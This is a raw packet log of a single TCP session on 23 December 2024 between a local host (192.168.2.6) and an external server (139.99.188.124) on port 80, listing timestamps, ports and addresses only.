Dec 23, 2024 08:39:46.990673065 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.991468906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.991602898 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.991650105 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.992495060 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.992625952 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.992671967 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.993588924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.993786097 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.993859053 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.994594097 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.994744062 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.994815111 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.995723963 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.995780945 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.995904922 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.996680975 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.996797085 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.996855021 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.997767925 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.997867107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.998330116 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.998799086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.998925924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.999849081 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.999905109 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.999978065 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.000247002 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.000901937 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.000938892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.001092911 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.001859903 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.001955032 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.002060890 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.002933979 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.003072977 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.003618956 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.004002094 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.004015923 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.004065037 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.004949093 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.005100012 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.005337954 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.006068945 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.006216049 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.006270885 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.007045031 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.007108927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.007181883 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.008157015 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.008271933 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.009110928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.009192944 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.009227991 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.009984970 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.010276079 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.010289907 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.010334969 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.011151075 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.011246920 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.011291027 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.012258053 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.012384892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.012432098 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.013334990 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.013417959 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.013586044 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.014406919 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.014460087 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.014508963 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.015430927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.015470028 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.015532970 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.016480923 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.016519070 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.016617060 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.017438889 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.017530918 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.017577887 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.018426895 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.018537998 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.018583059 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.019598007 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.019649982 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.020262957 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.020575047 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.020617008 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.020776033 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.021621943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.021635056 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.021694899 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.022537947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.022672892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.022751093 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.023621082 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.023694038 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.023828030 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.024627924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.024765968 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.025182009 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.025715113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.025765896 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.025813103 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.026763916 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.026884079 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.027010918 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.027760029 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.027885914 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.028007984 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.028821945 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.028876066 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.028925896 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.029866934 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.029937983 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.030050993 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.030879021 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.030961037 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.031141996 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.032020092 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.032151937 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.032202959 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.032927036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.033065081 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.033730984 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.033927917 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.103636026 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.166276932 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.166357994 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.166485071 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.166731119 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.166783094 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.167015076 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.167714119 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.168157101 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.168174982 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.168215990 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.169121981 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.169183969 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.169198990 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.170226097 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.170357943 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.170399904 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.171201944 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.171257019 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.171329021 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.172218084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.172300100 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.172342062 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.173274040 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.173321009 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.173362970 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.174263954 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.174396992 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.174446106 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.175292969 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.175363064 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.175407887 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.181943893 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.182023048 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.182054043 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.182468891 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.182612896 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.182897091 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.183505058 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.183549881 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.183631897 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.184550047 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.184597015 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.184637070 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.185556889 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.185626984 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.185652971 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.186642885 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.186738014 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.186739922 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.187691927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.187743902 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.187783957 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.188683987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.188826084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.189064980 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.189719915 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.189824104 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.189831972 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.190804005 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.190867901 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.190879107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.191781998 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.191889048 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.191916943 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.192833900 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.192905903 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.192955017 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.193974972 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.194034100 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.194075108 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.194910049 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.195009947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.195039988 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.196010113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.196058989 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.196095943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.197005987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.197098970 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.197146893 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.198046923 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.198096037 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.198105097 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.199037075 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.199086905 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.199280977 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.200120926 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.200167894 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.200198889 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.201183081 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.201210022 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.201384068 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.202189922 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.202308893 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.202361107 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.203228951 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.203330040 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.203336954 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.204293966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.204339027 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.204369068 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.205285072 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.205408096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.205456018 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.206383944 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.206401110 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.206448078 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.207366943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.207384109 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.207515001 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.208399057 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.208494902 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.208554029 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.209496975 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.209548950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.209589958 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.210439920 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.210551023 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.210603952 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.211477041 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.211579084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.211632967 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.212513924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.212625980 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.212631941 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.213579893 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.213637114 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.213648081 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.214564085 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.214620113 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.214751959 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.215636969 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.215688944 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.215791941 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.216706038 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.216784000 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.216814041 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.217721939 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.217834949 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.217885017 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.218770027 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.218827963 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.218895912 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.219795942 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.219844103 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.219903946 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.220829964 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.220922947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.220979929 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.221836090 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.221889019 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.221932888 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.222910881 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.222970963 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.223031998 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.223903894 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.223965883 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.224036932 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.225073099 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.225106955 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.225123882 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.225996017 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.226176023 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.358306885 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.358409882 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.358488083 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.358870983 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.358927011 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.359050989 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.359868050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.360018015 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.360075951 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.360852003 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.360971928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.361021042 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.361917973 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.362010002 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.362090111 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.362935066 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.362988949 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.363991976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.364051104 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.364101887 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.364159107 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.365036011 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.365134954 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.365204096 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.366107941 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.366198063 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.366250038 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.367096901 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.367140055 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.367429018 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.374123096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.374207020 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.374260902 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.374644995 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.374747038 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.374789000 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.375684977 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.375787973 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.375843048 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.376692057 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.376816988 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.376866102 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.377836943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.377904892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.377954960 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.378797054 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.378926039 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.379059076 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.379872084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.379921913 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:47.379975080 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:47.380876064 CET	80	49800	139.99.188.124	192.168.2.6
